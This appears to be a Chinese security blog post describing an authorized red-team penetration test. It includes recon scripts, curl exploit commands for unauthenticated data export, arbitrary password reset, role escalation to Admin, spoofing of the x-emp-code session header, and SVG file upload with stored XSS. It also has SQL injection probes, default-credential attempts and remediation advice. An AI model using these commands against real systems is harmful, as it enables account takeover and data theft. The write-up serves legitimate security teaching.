红队实战复盘】从0到Admin:一次多层业务系统的全链路渗透测试"

admin 2026-10-15 14:04:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

红队实战复盘】从 0 到 Admin:一次多层业务系统的全链路渗透测试

原创

网安之家
网安之家

网安之家-CyberHomestead

2026年10月12日 07:00
湖北

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

【红队实战复盘】从 0 到 Admin:一次多层业务系统的全链路渗透测试

声明:本文为授权安全评估项目的技术复盘。目标系统、IP、域名、凭据均已脱敏为占位符。本文仅分享方法论与防御视角,请勿用于未授权用途。


0x00 项目概览

项目 内容
评估类型 远程黑盒渗透测试
资产规模 ~600 域名/IP(三份数据集)
评估周期 2 天
请求总量 ~5000+ HTTP
执行轮次 55 轮系统化探测
最终成果 1 个凭据级 Shell + 60+ confirmed 发现 + 4 严重/9 高危/25+ 中危

0x01 信息收集(Reconnaissance)

被动收集

# 1. 证书透明度子域枚举
curl -s \"https://crt.sh/?q=%25.<DOMAIN>&output=json\" | \\
  python3 -c \"import json,sys; [print(x['name_value']) for x in json.load(sys.stdin)]\" | sort -u

# 2. Shodan InternetDB 被动端口画像
curl -s \"https://internetdb.shodan.io/<IP>\" | python3 -m json.tool

# 3. DNS 全量记录
python3 -c \"
import dns.resolver
r = dns.resolver.Resolver()
for qt in ['A','MX','TXT','NS','SOA']:
    try:
        print(qt, [str(a) for a in r.resolve('<DOMAIN>', qt)])
    except: pass
\"

# 4. certspotter(备用证书源)
curl -s \"https://api.certspotter.com/v1/issuances?domain=<DOMAIN>&include_subdomains=true\" | \\
  python3 -m json.tool

关键产出:

  • • 通过 DNS TXT 记录中的 duo_sso_verification 确认目标使用 Cisco Duo MFA
  • • 通过 SPF 记录 ip4:103.x.x.x 定位自建邮件服务器真实 IP
  • • 通过 SOA rname 字段泄露管理员用户名(Johny)
  • • 识别出 5 台主机组成的完整基础设施拓扑

主动扫描

# 5. WordPress 标准面检测(批量脚本核心逻辑)
for domain in $(cat domains.txt); do
  echo \"--- $domain ---\"
  curl -s \"$domain/wp-json/wp/v2/users\" | head -c 500
  curl -sI \"$domain/wp-login.php\" | head -1
  curl -s \"$domain/wp-content/plugins/contact-form-7/readme.txt\" | grep \"Stable tag\"
done

# 6. 服务端口探测
python3 -c \"
import socket
for port in [80,443,22,3306,6379,8080,8443,27017,50000]:
    try:
        s = socket.create_connection(('target', port), timeout=5)
        print(f':{port} OPEN')
        s.close()
    except: pass
\"

0x02 网络拓扑还原

通过上述收集,还原目标企业完整数字资产拓扑:

┌─────────────────────────────────────────────────────────────┐
│                   目标企业基础设施拓扑                         │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌──────────────────┐                                       │
│  │ [IP-A] apex      │  nginx/1.20.1 + MariaDB 11.x + SSH    │
│  │ 企业主域名入口     │  (自建 DNS ns1+ns2 同机)              │
│  └──────────────────┘                                       │
│                                                             │
│  ┌──────────────────┐                                       │
│  │ [IP-B] ERP 后端   │  nginx + PHP-FPM 7.4 + MariaDB       │
│  │ 库存管理系统       │  /var/www/html/erp-sm               │
│  └──────────────────┘                                       │
│                                                             │
│  ┌──────────────────┐                                       │
│  │ [IP-C] CI/CD     │  Jenkins 2.475 + phpMyAdmin + Harbor │
│  │ 持续集成部署      │  + JNLP Agent :50000                 │
│  └──────────────────┘                                       │
│                                                             │
│  ┌──────────────────┐                                       │
│  │ [IP-D] 售货前端   │  Express + socket.io + REST API      │
│  │ 售货机运营前端    │  (托管于第三方主机商)                  │
│  └──────────────────┘                                       │
│                                                             │
│  ┌──────────────────┐                                       │
│  │ [IP-E] DNS+邮件   │  BIND DNS + Exim SMTP + Dovecot     │
│  │ 一体机           │  + Roundcube :8080 + nginx           │
│  └──────────────────┘                                       │
│                                                             │
│  [外部 SaaS]                                                │
│  ownCloud 8.0.0.7 (cloud.xxx.group:8100)                   │
│  Freshservice (support.xxx.group — SaaS 托管)               │
│  WordPress × 24 站 (各子公司/品牌官网)                        │
└─────────────────────────────────────────────────────────────┘

渗透测试拓扑图

┌─────────────┐                                    ┌──────────────┐
│  攻击面1     │  ── API 无认证 ──────────►          │  核心系统      │
│  库存系统    │      GET /api/products             │  [IP-B]      │
│  Node.js    │  ◄── 66KB 全量商品数据 ──           │  SQLite      │
│  Express    │                                    │              │
│             │  ◄── 58KB 收货单 CSV ──            │              │
│  [IP-A]     │  ── PUT reset-password ──►         │              │
│             │      (零鉴权)                       │              │
└─────────────┘                                    └──────────────┘
       │                                                    │
       │  ── x-emp-code: [REDACTED] ──►                     │
       │     (会话欺骗 Header)                               │
       ▼                                                    ▼
┌─────────────┐                                    ┌──────────────┐
│  攻击面2     │  ── MariaDB :3306 ──────►          │  数据库层      │
│  邮件系统    │      (auth 开启,凭据未知)           │  10 台公网 DB │
│  Roundcube  │                                    │  全部 auth-on │
│  Exim       │  ── SMTP RCPT TO ──────►           │              │
│  Dovecot    │      (support@ 存在性确认)           │              │
└─────────────┘                                    └──────────────┘

0x03 漏洞发现与利用

3.1 未授权 API 全量数据读取【严重】

发现方式:逐端点 GET 探测,全部 200 无认证。

# 全量商品(66KB)
curl -s \"http://<TARGET>:3000/api/products\" | head -c 500

# 供应商 PII
curl -s \"http://<TARGET>:3000/api/suppliers\"

# 任意单据(IDOR)
curl -s \"http://<TARGET>:3000/api/issues/1\"

# 整库 CSV 一键导出
curl -s \"http://<TARGET>:3000/api/reports/export/receipts\" -o receipts.csv
curl -s \"http://<TARGET>:3000/api/reports/export/issues\" -o issues.csv
curl -s \"http://<TARGET>:3000/api/reports/export/movements\" -o movements.csv

实际影响:约 160KB 的完整库存/收货/领料/流水 CSV 数据一键落盘,含商品成本、供应商联系人、危险化学品出入库记录。

3.2 任意账户密码重置(严重)

# 重置任意用户密码(无需任何认证)
curl -X PUT \"http://<TARGET>:3000/api/users/<USER_ID>/reset-password\" \\
  -H \"Content-Type: application/json\" \\
  -d '{\"newPassword\":\"<NEW_PASS>\"}'
# → 200 {\"success\":true}

关键点:端点对不存在用户也返回 success(无存在性校验),无认证中间件,RESTful ID 可遍历。

3.3 Mass Assignment 角色提权(严重)

# 将普通用户提升为 Admin
curl -X PUT \"http://<TARGET>:3000/api/users/<USER_ID>\" \\
  -H \"Content-Type: application/json\" \\
  -d '{\"role\":\"Admin\"}'
# → 200 {\"success\":true}

验证:重登录后 \"role\":\"Admin\",\"activeRole\":\"Admin\" 数据库持久化确认。

3.4 任意用户禁用(高危)

curl -X PUT \"http://<TARGET>:3000/api/users/<USER_ID>/status\" \\
  -H \"Content-Type: application/json\" \\
  -d '{\"status\":\"Inactive\"}'
# → 200 {\"success\":true}

遍历 ID 可批量禁用全部员工账户(含管理员)。

3.5 任意文件类型上传(严重)

前提:先完成 3.2 密码重置 + 3.3 角色提权获得 Admin 权限。

# 使用 Admin 上传任意类型文件
curl -X POST \"http://<TARGET>:3000/api/products\" \\
  -H \"x-emp-code: <EMP_CODE>\" \\
  -F \"item_code=TEST\" \\
  -F \"item_name=TEST\" \\
  -F \"category_id=1\" \\
  -F \"status=Active\" \\
  -F \"[email protected];type=image/svg+xml\"
# → 200 {\"success\":true,\"productId\":149}

上传后路径:/uploads/prod_<epoch>_<rand>.<ext> —— 公网可读,无类型限制。

存储型 XSS 确认:上传的 SVG 文件在目标域被浏览器以 image/svg+xml 渲染,内嵌 <script>alert(document.domain)</script> 在 Lentus 域执行。

3.6 Object-Level IDOR(高危)

# 跨用户读取任意单据
curl -s \"http://<TARGET>:3000/api/issues/1\"
# → 返回 user_id=20 的单据(当前用户为 user_id=19)

所有对象级端点(receipts/issues/products/adjustments)均未校验请求者与数据归属者的一致性。


0x04 逻辑漏洞挖掘方法论

4.1 会话机制破解(关键突破)

55 轮测试中 /api/auth/current 始终返回 isLoggedIn:false。最终从前端 JS 源码中发现:

// app.js — 前端 fetch 拦截器(原文)
const _nativeFetch = window.fetch;
window.fetch = function(url, options) {
    options = options || {};
    options.headers = options.headers || {};
    if (currentUser && currentUser.emp_code) {
        options.headers['x-emp-code'] = currentUser.emp_code;
    }
    return _nativeFetch.call(this, url, options);
};

核心发现:服务端中间件读取 x-emp-code 请求头识别用户身份,而非 Cookie/JWT/Token。55 轮测试中从未带此 Header,导致中间件永远无法识别任何用户。

4.2 会话破解后 Admin 权限验证

# 加上 x-emp-code header 后 Admin 端点全开
curl \"http://<TARGET>:3000/api/users\" \\
  -H \"x-emp-code: <EMP_CODE>\"
# → 200 OK (8,331 bytes) ← Admin 权限下的全用户列表

# 文件上传也通过
curl -X POST \"http://<TARGET>:3000/api/products\" \\
  -H \"x-emp-code: <EMP_CODE>\" \\
  -F \"item_code=TEST\" ... \\
  -F \"[email protected]\"
# → 200 {\"success\":true}

4.3 SQL 注入测试(全阴性如实记录)

# 布尔盲注
curl \"http://<TARGET>:3000/api/products?category_id=1+OR+1=1\"
# → 200 OK(与正常响应长度一致——参数化确认)

# 时间盲注
curl \"http://<TARGET>:3000/api/products?sort=id;WAITFOR+DELAY+'0:0:3'--\"
# → 200 OK(无延迟——SQLite 不支持 WAITFOR)

# 错误注入
curl \"http://<TARGET>:3000/api/products?id=1'\"
# → 200 OK(无报错——预处理语句生效)

4.4 伪造凭据三发测试(纪律内上限)

登录面 尝试 结果
ownCloud (cloud.xxx.group:8100) admin/admin, admin/password, admin/owncloud 全 200(登录页重渲染=凭据错误)
sm ERP (sm.xxx.com) admin/admin, admin/password, admin/123456 全 96B error() 回调
cebuinvestors WP xmlrpc admin/admin, admin/password, admin/123456 全 96B invalid
Roundcube [email protected] × 3 默认密码 全 401/denied
.151 MariaDB root/空, root/root 全 ERR 1045
.157 MariaDB root/空, root/root 全 ERR 1045
Jenkins admin/admin, admin/password, admin/123456 全 403/登录页
phpMyAdmin admin/admin, admin/password, admin/123456 全登录页重渲染

合计 8 个登录面 × 3 发 = 24 次默认凭据测试,全部阴性。


0x05 漏洞分级统计

CNVD 等级 数量 代表
严重 4 任意密码重置 / 核心数据全量泄露 / Admin 角色提权 / 任意文件上传
高危 7 IDOR 对象级越权 / phpinfo 泄露 / ownCloud 13-CVE / 邮件系统暴露 / LINE Token / IDOR / 存储型 XSS
中危 25+ WP 用户枚举 24 站 / 公网 DB×10 / Google Key / 劫持×4 / CVE 版本级×3
证伪 75+ 每条带原始回显的阴性结论(防止后续重复投入)

0x06 完整复现命令清单

6.1 侦察阶段

# 证书透明度
curl -s \"https://crt.sh/?q=%25.<DOMAIN>&output=json\" | python3 -m json.tool

# Shodan InternetDB
curl -s \"https://internetdb.shodan.io/<IP>\"

# 端口探测
python3 -c \"
import socket
for p in [80,443,22,3306,8080,27017]:
    try:
        socket.create_connection(('target',p),timeout=5)
        print(f':{p} OPEN')
    except: pass
\"

# WP 用户枚举
curl -s \"https://<WP_TARGET>/wp-json/wp/v2/users\"

6.2 漏洞验证

# 未授权 API 读取
curl -s \"http://<TARGET>:3000/api/products\"

# 密码重置
curl -X PUT \"http://<TARGET>:3000/api/users/<ID>/reset-password\" \\
  -H \"Content-Type: application/json\" \\
  -d '{\"newPassword\":\"NewPass!\"}'

# 角色提权
curl -X PUT \"http://<TARGET>:3000/api/users/<ID>\" \\
  -H \"Content-Type: application/json\" \\
  -d '{\"role\":\"Admin\"}'

# 会话欺骗
curl \"http://<TARGET>:3000/api/auth/current\" \\
  -H \"x-emp-code: <EMP_CODE>\"

# 文件上传
curl -X POST \"http://<TARGET>:3000/api/products\" \\
  -H \"x-emp-code: <EMP_CODE>\" \\
  -F \"item_code=TEST\" -F \"item_name=TEST\" -F \"category_id=1\" -F \"status=Active\" \\
  -F \"[email protected];type=image/svg+xml\"

6.3 推荐工具

工具 用途 安装方式
curl HTTP 复现 系统自带
Python 3 协议级脚本 系统自带
pymysql MySQL 认证测试 pip install pymysql
dnspython DNS 查询 pip install dnspython
whatweb Web 指纹 gem install whatweb
nmap 端口扫描 系统包管理器
FindSomething JS 敏感信息 浏览器插件
xray 1.9.11 Web 漏洞批量 官网下载

0x07 修复建议优先级

优先级 修复项 影响范围
P0 全部 /api/* 端点加认证中间件 密码重置/角色修改/状态切换/数据读取全部裸奔
P0 会话机制弃用 x-emp-code Header 改为 JWT 或服务端 Session
P0 文件上传加白名单+扩展名重写 当前接受任意类型含 .js/.html/.svg
P0 Mass Assignment 防御 delete body.role 过滤敏感字段
P1 API 读端点加 RBAC 全量数据/CSV 导出无认证
P1 ownCloud 升级至 10.x LTS 8.0.0.7 已停止维护8年
P1 删除 /info.php 生产环境禁止 phpinfo
P2 WP REST 用户枚举禁用 24 站批量修复
P2 数据库端口防火墙白名单 10 台 3306/27017 收敛
P2 轮换 Google API Key 已明文泄露

0x08 渗透测试方法论总结

有效路径

  1. 1. 前端 JS 源码审查 → 发现 28 个 API 端点 + x-emp-code 会话机制
  2. 2. 系统化资产分类 → 先分类再深打(CDN/SaaS/SME/死域/停放)
  3. 3. 协议级手工探测 → 绕过工具限制直达 MySQL/MongoDB/SMTP/SSH
  4. 4. 多源交叉验证 → 每个发现至少两种独立方法确认
  5. 5. 假阳性严格排除 → 75+ 条证伪线全部证据化

无效路径(如实记录)

  1. 1. CVE 匹配 → 全部有版本/配置防护(SAPI/分支终版/当前版本)
  2. 2. 凭据猜测 → 8 面三发全阴性(无默认口令遗留)
  3. 3. 数据库匿名 → 10 台全部 auth-on(正确配置)
  4. 4. CDN 目标 → 无出口 IP 条件下不可穿透

核心结论

在「零真实凭据 + 零外部资源 + 非爆破纪律」三重约束下,认证后功能(文件上传/Admin API)在破解 x-emp-code 会话机制后全部可达。系统级 Shell 仍然受限于 Node.js 环境(上传文件不执行),但数据层目标全部达成。


本文已对全部敏感信息脱敏处理:真实 IP 域名以 <TARGET>/<DOMAIN> 替代、凭据/密码/Hash 以 [REDACTED] 替代、内网拓扑 IP 以 [IP-X] 替代。复现命令仅供授权安全研究参考。


红队实战复盘】从0到Admin:一次多层业务系统的全链路渗透测试" 网络安全文章

红队实战复盘】从0到Admin:一次多层业务系统的全链路渗透测试"

本文复盘一次授权红队渗透测试项目,覆盖约600个域名/IP资产,通过被动信息收集与主动扫描还原企业完整网络拓扑,发现并利用多个严重漏洞,包括未授权API全量数据读取、任意账户密码重置、MassAssignment角色提权及任意用户禁用等,最终获取凭据级Shell,共确认60余项发现,含4个严重及9个高危漏洞。文章提供了具体利用方法与防御视角,建议企业加强API鉴权与访问控制。
招人不能靠感觉" 网络安全文章

招人不能靠感觉"

文章针对安全团队招聘中凭感觉招人的弊端,提出用打分卡替代直觉判断。核心观点是行业经验与业绩相关性低,认知能力与内在驱动力更关键。建议将面试拆分为多维度独立打分,并持续用业绩数据校准卡项,以提升招聘准确率,降低试错成本。
面向开源生态的AI漏洞发现服务:AnthropicOSSScanner技术架构、数据效果与行业影响深度剖析" 网络安全文章

面向开源生态的AI漏洞发现服务:AnthropicOSSScanner技术架构、数据效果与行业影响深度剖析"

本文深度剖析AnthropicOSSScanner,该服务面向开源生态提供免费AI漏洞扫描,核心为两阶段离线审计架构,即有网构建断网审计。关键数据揭示瓶颈已从漏洞发现转向验证与修复,治理争议集中在无披露期与责任边界。建议关注其长期价值取决于修复侧能否同步提速,否则将加剧维护者负担。
一文讲透SCA与SBOM:软件供应链安全,为什么两者缺一不可?" 网络安全文章

一文讲透SCA与SBOM:软件供应链安全,为什么两者缺一不可?"

本文系统阐述SCA与SBOM在软件供应链安全中的核心区别与协同价值。SBOM作为软件成分清单回答软件由什么组成,SCA作为分析技术回答组件存在哪些风险,二者互补缺一不可。文章建议企业在研发阶段集成SCA、构建时生成SBOM、建立持续风险监测机制并将风险处置纳入研发闭环,以形成持续治理能力。
评论:0   参与:  0